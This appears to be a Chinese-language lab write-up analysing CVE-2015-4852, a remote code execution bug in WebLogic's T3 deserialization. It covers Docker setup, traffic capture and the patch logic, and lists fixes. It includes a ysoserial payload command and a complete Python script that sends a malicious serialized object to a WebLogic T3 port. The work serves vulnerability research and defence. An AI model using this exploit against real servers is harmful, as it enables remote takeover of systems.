漏洞简介

CVE-2015-4852在10.3.6.0, 12.1.2.0, 12.1.3.0和12.2.1.0版本的WebLogic Server上均可被利用,此漏洞允许攻击者通过T3协议和TCP协议服共用的7001端口进行远程命令执行。

漏洞版本

下面来列出两个漏洞类型的一些漏洞编号

基于T3协议漏洞: CVE-2015-4582、CVE-2016-0638、CVE-2016-3510、CVE-2018-2628、CVE-2020-2555、CVE-2020-2883

基于XML:CVE-2017-3506、CVE-2017-10271、CVE-2019-2729

环境搭建

我使用的是这个搭建https://github.com/QAX-A-Team/WeblogicEnvironment

然后jdk下载地址https://github.com/QAX-A-Team/WeblogicEnvironment

weblogic下载https://blog.csdn.net/beishanyingluo/article/details/98475049

然后放到对应的目录下,执行

  1. docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .

然后运行

  1. docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21

然后需要把docker里的jar包导出来调试

  1. docker exec -it weblogic1036jdk7u21 /bin/bash
  2. cd /u01/app/oracle/
  3. cp -r middleware/ /root/WeblogicEnvironment-master/
  4. docker cp 363:/root .
  5. mkdir jar_lib
  6. find ./ -name *.jar -exec cp {} jar_lib/ \;

因为环境已经开启了远程调试所以我们不需要再改了

  1. cd u01/app/oracle/Domains/ExampleSilentWTDomain/bin/
  2. vi setDomainEnv.sh

添加两行代码

  1. debugFlag="true"
  2. export debugFlag

CVE-2015-4852 - 图1

然后添加为jar包

CVE-2015-4852 - 图2

添加远程调试。

CVE-2015-4852 - 图3

在CC链的某个地方打个断点。然后用exp打一下。发现进入断点。环境搭建完成

创建序列化文件

  1. java -jar ysoserial.jar CommonsCollections1 "touch /tmp/exp" > ./tmp
  1. import socket
  2. import struct
  3. import sys
  4. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5. server_address = (sys.argv[1], int(sys.argv[2]))
  6. print 'connecting to %s port %s' % server_address
  7. sock.connect(server_address)
  8. # Send headers
  9. headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
  10. print 'sending "%s"' % headers
  11. sock.sendall(headers)
  12. data = sock.recv(1024)
  13. print >>sys.stderr, 'received "%s"' % data
  14. payloadObj = open(sys.argv[3],'rb').read()
  15. payload='\x00\x00\x09\xe4\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'
  16. payload=payload+payloadObj
  17. payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'
  18. print 'sending payload...'
  19. payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:])
  20. #print len(payload)
  21. outf = open('pay.tmp','w')
  22. outf.write(payload)
  23. outf.close()
  24. sock.send(payload)

分析

抓包流量分析

当我们把断点断到了cc链中,我们就能知道它其实可以触发反序列化了。那么我们分析一下怎么触发的

CVE-2015-4852 - 图4

/u01/app/oracle/Domains/ExampleSilentWTDomain/bin/stopWebLogic.sh

这个脚本是用来关闭weblogic的,它的脚本中使用了t3://协议。

我们使用tcpdump抓包分析

tcpdump -i any -w dump.pcap

然后发现在t3协议中,传输了序列化对象,我们知道ac ed 00 05是Java中序列化对象的特点,过滤下

CVE-2015-4852 - 图5

发现了我们的恶意序列化数据

CVE-2015-4852 - 图6

所以我们可以根据t3协议来构造恶意数据进而利用common-collections的反序列化链达到rce的目的。

或者这样抓包:

socat -v -x tcp-listen:7002,fork tcp-connect:127.0.0.1:7001

把7002的流量打到7001里,那么我们脚本攻击的时候就攻击7002端口。也可以抓到流量

CVE-2015-4852 - 图7

可以看到我们这里发送的是t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n。靶机环境是10.3.6。也是可以的。

CVE-2015-4852 - 图8

接下来就是怎么去构造t3协议数据包?

先来分析下t3协议的数据流,首先是第一个数据包发送了t3 10.3.6\nAS:255\nHL:19\n\n,然后服务端回复了一个HELO信息

CVE-2015-4852 - 图9

首先是第一个数据包发送了t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n然后服务器返回了HELO:10.3.6.0.false\nAS:2048\nHL:19\n\n

T3攻击方式

  • 第一种:将weblogic发送的java序列化数据的地2到第7部分的反序列化数据进行替换

CVE-2015-4852 - 图10

  • 第二种:将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。也就是替换第一部分的数据

CVE-2015-4852 - 图11

所以在拼接的时候,首先是第一部分。因为第一部分会校验数据包长度,替换2-6部分的序列化数据不太现实,如果长度不匹配weblogic会报java.io.EOFException异常。

CVE-2015-4852 - 图12

红线以上的就是第一部分,接下来就是aced 开头,经典的序列化数据。

于是在构造poc的时候也是这样构造。

注意前4个数据表示的是序列化数据的长度,否则会报错EOF

CVE-2015-4852 - 图13

根据补丁位置,是在这几个地方进行添加判断,那我们直接在InboundMsgAbbrev#readObject()下断点。因为要rce的话必须要readObject()进行反序列化

  1. wlthint3client.jar:weblogic.rjvm.InboundMsgAbbrev
  2. wlthint3client.jar:weblogic.rjvm.MsgAbbrevInputStream
  3. weblogic.jar:weblogic.iiop.Utils

在此处下断点

CVE-2015-4852 - 图14

这里实例化了一个内部类,查看内部类

CVE-2015-4852 - 图15

其中有个resolveClass其实还是调用父类的resolveClass

CVE-2015-4852 - 图16

最后造成了反序列化,中间的步骤就不跟了可以看https://www.anquanke.com/post/id/226070#h2-10

resolveClass

resolveClass方法的作用是将类的序列化描述符加工成该类的Class对象。

前面分析readObject方法的时候,我们得知了shiro就是重写了resolveClass方法导致很多利用链无法使用,但是shiro在编写的时候,并不是为了防御反序列化漏洞才去重写的resolveClass,但是就是这么一个无意间的举动,导致了防御住了大部分攻击。

而在后面的weblogic补丁当中,也会基于这个resolveClass去做反序列化漏洞的防御。

贴一张图,内部使用Class.forName来从类序列化获取到对应类的一个Class的对象。

CVE-2015-4852 - 图17

那么如果这里加入一个过滤,那么这里如果直接抛出异常的话,在readNonProxyDesc调用完resolveClass方法后,后面的一系列操作都无法完成。所以补丁喜欢打在resolveClass

修复

  1. 在weblogic所在服务器安装web代理应用,如apache、nginx等,使web代理监听原有的weblogic监听端口,并将HTTP请求转发给本机的weblogic,t3协议过不来自然无法触发反序列化。需要将weblogic停止脚本中的ADMIN_URL参数中的IP修改为“127.0.0.1”或“localhost”,否则停止脚本将不可用。

  2. 使用https://github.com/ikkisoft/SerialKiller。

  3. weblogic 用黑名单的方式对反序列化的类做了一些过滤,后面的几个 cve 也都是绕过黑名单。

  4. 开放在外网的情况下,还可以采用web代理和负载均衡。
    web代理的方式只能转发HTTP的请求,而不会转发T3协议的请求,这就能防御住T3漏洞的攻击。
    而负载均衡的情况下,可以指定需要进行负载均衡的协议类型,这么这里就可以设置为HTTP的请求,不接收其他的协议请求转发。这也是在外网中见到T3协议漏洞比较少的原因之一。

参考链接https://y4er.com/post/weblogic-cve-2015-4852/

https://www.anquanke.com/post/id/219985#h3-13

https://www.anquanke.com/post/id/226070#h3-13